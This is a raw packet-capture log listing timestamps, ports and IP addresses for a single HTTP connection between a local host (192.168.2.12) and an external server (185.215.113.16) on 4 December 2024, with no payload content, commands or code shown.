Dec 4, 2024 16:11:01.028459072 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.028505087 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.028599977 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.029577017 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.029622078 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.029665947 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.030787945 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.030894995 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.030915022 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.032167912 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.148637056 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.148756027 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.148842096 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.149143934 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.149296045 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.149353981 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.150067091 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.150177002 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.150299072 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.151071072 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.168344021 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.168414116 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.168504000 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.168920040 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.168967009 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.168981075 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.170106888 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.170149088 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.170181036 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.171302080 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.171320915 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.171344995 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.172311068 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.172374964 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.172405005 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.173415899 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.173476934 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.173496962 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.174575090 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.174628973 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.174654961 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.175724983 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.175796986 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.175837994 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.176841021 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.176909924 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.176938057 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.177963018 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.178005934 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.178055048 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.179102898 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.179145098 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.179254055 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.180248976 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.180296898 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.180382013 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.181292057 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.181345940 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.181384087 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.182466030 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.182529926 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.182643890 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.183557034 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.183653116 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.183654070 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.184686899 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.184735060 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.184815884 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.185798883 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.185897112 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.185926914 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.186929941 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.186984062 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.187041998 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.188074112 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.188122034 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.188205004 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.189172983 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.189234018 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.189266920 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.190320015 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.190416098 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.190450907 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.191462994 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.191507101 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.191626072 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.192544937 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.192603111 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.192681074 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.193706036 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.193764925 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.193841934 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.194829941 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.194897890 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.194963932 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.195935965 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.195981026 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.196021080 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.197052002 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.197105885 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.197119951 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.197487116 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.198230982 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.198280096 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.198422909 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.199330091 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.199397087 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.199405909 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.200406075 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.200522900 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.200551987 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.201538086 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.201626062 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.201651096 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.202653885 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.202733040 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.202759981 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.203834057 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.203897953 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.203919888 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.204916954 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.204955101 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.205023050 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.206032038 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.206080914 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.206144094 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.207405090 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.207453012 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.207475901 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.208378077 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.208470106 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.208489895 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.209551096 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.209647894 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.209753036 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.210644960 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.210686922 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.210755110 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.210778952 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.211674929 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.211745977 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.211776018 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.212964058 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.213027954 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.213051081 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.214040041 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.214093924 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.214179993 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.215110064 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.215153933 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.215183973 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.216217995 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.216262102 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.216340065 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.217319965 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.217363119 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.217406988 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.218425035 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.218471050 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.218523979 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.219651937 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.219707966 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.219743967 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.220684052 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.220765114 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.220930099 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.221812010 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.221849918 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.221903086 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.222938061 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.223005056 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.223033905 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.251144886 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.341087103 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.341162920 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.341247082 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.341574907 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.341700077 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.341773033 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.342762947 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.342848063 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.342902899 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.343841076 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.360726118 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.360781908 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.360783100 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.361192942 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.361212969 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.361304998 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.362468958 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.362533092 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.362575054 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.363506079 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.363553047 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.363574982 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.364669085 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.364727974 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.364990950 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.365720034 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.365809917 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.365827084 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.366842031 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.366895914 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.366930962 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.367954016 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.367999077 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.368062019 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.369106054 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.369187117 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.369283915 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.370387077 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.370435953 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.370457888 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.371579885 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.371665955 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.371671915 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.372492075 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.372548103 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.372610092 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.373614073 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.373665094 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.373719931 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.374722958 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.374819994 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.374842882 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.375936031 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.375979900 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.375983953 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.377058983 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.377162933 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.377213955 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.377599001 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.378187895 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.378246069 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.378283978 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.379353046 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.379414082 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.379439116 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.380376101 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.380431890 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.380462885 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.381459951 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.381527901 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.381567955 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.382653952 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.382725000 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.382884979 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.383829117 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.383842945 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.383888006 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.384813070 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.384855986 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.384924889 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.385981083 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.386028051 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.386045933 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.387101889 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.387165070 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.387201071 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.388247967 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.388312101 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.388401985 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.389343023 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.389385939 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.389395952 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.390520096 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.390580893 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.390644073 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.391684055 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.391737938 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.391808987 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.392710924 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.392760992 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.392822981 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.393986940 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.394067049 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.394108057 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.394973040 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.395065069 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.395090103 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.396116018 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.396161079 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.396238089 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.397232056 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.397285938 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.397300959 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.398319006 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.398354053 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.398420095 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.398818016 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.399477005 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.399522066 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.399569035 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.400624990 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.400681019 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.401019096 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.401767015 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.401858091 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.402815104 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.402822971 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.403352976 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.404033899 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.404071093 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.404093981 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.404694080 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.405086040 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.405229092 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.405721903 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.408406973 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.408838034 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.409254074 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.409571886 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.409584045 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.409605980 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.409616947 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.409869909 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.410506964 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.410521984 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.410748005 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.410785913 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.410912037 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.410923958 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.411906004 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.412026882 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.412055969 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.413018942 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.413099051 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.413104057 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.414124012 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.414241076 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.415306091 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.415338039 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.415388107 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.416258097 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.534004927 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.534161091 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.534423113 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.534526110 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.534616947 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.534851074 CET	49724	80	192.168.2.12	185.215.113.16
